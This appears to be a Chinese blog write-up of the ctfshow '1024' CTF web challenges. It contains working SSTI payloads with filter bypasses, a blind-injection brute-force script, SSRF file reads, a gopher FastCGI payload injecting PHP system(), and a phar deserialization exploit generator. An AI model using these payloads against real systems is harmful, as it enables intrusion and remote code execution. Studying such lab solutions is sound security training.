ctfshow web

ctfshow 1024杯

1024杯

1024_WEB签到

<?php
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

考察call_user_func的使用 call_user_func — 把第一个参数作为回调函数调用 传参?f=phpinfo得到phpinfo界面

通过查看phpinfo的信息我们直接发现了一个可执行的函数:
alt text

传入f=ctfshow_1024执行函数得到flag,简单粗暴

1024_fastapi

打开题目只看到了如下
alt text

然后我就去百度了下关于fastapi的相关知识

FastAPI 是一个高性能 Web 框架,用于构建 API。

在一个师傅的文章下看到了接口文档docs,访问页面
alt text

测试后发现get传参无法利用,post传参进行计算
alt text

感觉是SSTI,经过测试发现确实是SSTI

然后便开始尝试利用

{str(''.__class__.__base__.__subclasses__())}

alt text
这里我们要用到python中的一个模块warnings.catch_warnings,但是我们并在不知道这个模块所在下标

可以写个简单的脚本输出一下

import requests

url = "http://7c68b783-4649-47bf-9f21-8c48f80f3faa.chall.ctf.show/cccalccc"

for i in range(200):
    data = {
        'q':"{str([].__class__.__base__.__subclasses__()["+str(i)+"])}"
        }
    res = requests.post(url=url,data=data).text
    if 'warnings.catch_warnings' in res:
        print (i)

知道了模块的下标更方便我们接下来的利用。经过测试发现eval,system,import等都被禁用了,使用imp+ort的形式绕过

读取文件

{str()''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read())}

发现目录下没有flag文件,全局搜索flag

{str(''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find /app | xargs grep flag').read())}

alt text
读取flag

{str(''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat /mnt/f1a9').read())}

1024_hello_world

ssti的盲注

alt text

把{{和}}过滤了,肯定有问题。
尝试使用{%%}这种形式的,发现成功执行
alt text

过滤了的会报500 Internal Server Error

key={%if ''!=1%}air{%endif%}  #error
key={%if ""!=1%}air{%endif%}  #正常
key={%if "".__class__!=1%}air{%endif%}    #error
key={%if ""["\x5f\x5fclass\x5f\x5f"]!=1%}air{%endif%}   #正常
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()!=1%}air{%endif%}   #正常

在这里由于没有回显,不知道"".__class__.__base__.__subclasses__()下具体使用哪个下标,所以直接在bp里爆破

"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")

key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[64]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")!=1%}air{%endif%}

回显状态码为200的都是可以选用的。

import requests
import string
strs = string.digits+string.ascii_lowercase+'-_{}'

url = 'http://27f23e34-f8b2-45c4-8f3c-d231dfa88ef6.challenge.ctf.show/'
#cmd = 'ls /'
cmd = 'cat /ctfshow*'

res = ''
for i in range(0,50):
    print('i =',i,end='\t')
    for ch in strs:
        payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+ch+'"%}air{%endif%}'
        #print(payload)
        data = {'key':payload}
        r = requests.post(url,data)
        #print(r.text)
        if 'air' in r.text:
            res += ch
            print('res = '+res)
            break

在这里讲一个小细节,如果你使用hackbar或者python的requests库直接传值含有编码的字符串时需要先将\进行转义,否则系统会帮你自动进行一次转义。而用burpsuite传值就不会出现这个问题。
常见绕过姿势
https://www.cnblogs.com/20175211lyz/p/11425368.html

图片代理

发现url框里是一个base64编码,aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
解码得到

http://p.qlogo.cn/gh/372619038/372619038/0

猜测可能存在ssrf漏洞

默认的配置文件路径 /etc/nginx/conf.d/default.conf
base64编码进行传参(在bp进行)

ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg==

注意传参payload是file:///etc/nginx/conf.d/default.conf

File协议和Http协议
https://www.jianshu.com/p/8a827193aaac

得到server信息
alt text

root         /var/www/bushihtml;
index        index.php index.html;
fastcgi_pass   127.0.0.1:9000;

考察点:ssrf攻击fastcgi。
直接使用Gopherus工具进行攻击
alt text

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
#base64编码后的值
Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw

关于gopher协议的ssrf攻击
https://blog.csdn.net/qq_69775412/article/details/124420486

柏拉图

考点:
phar伪协议反序列化

首先利用SSRF读取源码
经过尝试后,发现过滤了http,127,localhost等

但可以用file:///var/www/html/

在 Linux 或类 Unix 系统中,/var/www/html/ 是 Web 服务器的默认根目录,也称为 Document Root。在这个目录下,你可以放置网页文件
(如 HTML、PHP、CSS、JavaScript 文件)和其他与网页相关的资源文件(如图像、样式表、脚本等)

通过双写绕过读源代码 filefile://:///var/www/html/index.php
依次读取

index.php

<?php
error_reporting(0);

function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
        {
            die('难道我不知道你在想什么?除非绕过我?!');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>

upload.php

<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢,我喜欢一个gif的文件";
    }
}
?>

readfile.php

<?php
error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧?!");
        }
        echo readfile($file);
}
?>

unlink.php

<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失败!";
      }
}else{
    echo '要删除的文件不存在!';
}
?>

在readfile.php中发现class.php

<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>

首先在readfile.php处有读取文件的操作,不过过滤的很死,php://伪协议在这里用不了。

这里可以用phar://伪协议`,但是`phar://`不能出现在首部,可以利用`compress.zlib:// ``compress.bzip2:// 函数。

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下[3]:
alt text

而在read.file.php中有readfile函数可以利用

到这里自然而然想到了phar反序列化

首先分析class.php,需要构造pop链

__invoke(): 把实例对象当作函数方法调用时,会自动调用__invoke()方法;
这里在Class B里的__toString()方法里的“($this->b)();”这句话实现了

__toString(): 打印一个对象的时被调用,如echo $obj;或print $obj。
这里在class A里的__destruct()方法里有实现

__destruct(): 当删除一个对象或对象操作终止时被调用。

还是比较简单的pop链,实现如下:

$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls");');

exp

<?php
error_reporting(0);
ini_set('phar.readonly','Off');

class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}

$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls /");');

@unlink("phar.phar");                             //unlink()函数删除文件
$phar = new Phar("phar.phar");                        //后缀名必须为phar
$phar->startBuffering();                         //开始缓冲phar写操作
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");//设置stub
$phar->setMetadata($o);                              //将自定义的meta-data存入manifest
$phar->addFromString("text.txt", "test");            //添加要压缩的文件
$phar->stopBuffering();                              //签名自动计算
?>

注:
phar文件结构

文件标识头
格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
压缩文件信息
phar本质上是一种压缩文件,那就有存储文件的地方。第二段a manifest describing the contents,这是存放压缩文件权限、属性等信息的地方,这部分还会以序列化的形式存储用户自定义的meta-data,是反序列化的攻击点。
压缩文件内容
存放phar内的文件,这部分无关紧要,有东西存进去就好。
数字签名
放在文件末尾

alt text
alt text

然后上传phar.gif,查看文件处使用compress.zlib://phar://upload/phar.gif进行查看能得到ctfshow_1024_flag.txt文件

修改为cat /ctfshow_1024_flag.txt再次上传即可得到flag

想了解更多phar伪协议反序列化,请参考:
https://www.kitsch.life/2021/03/09/phar%E4%BC%AA%E5%8D%8F%E8%AE%AE%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

你可能也会喜欢...

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注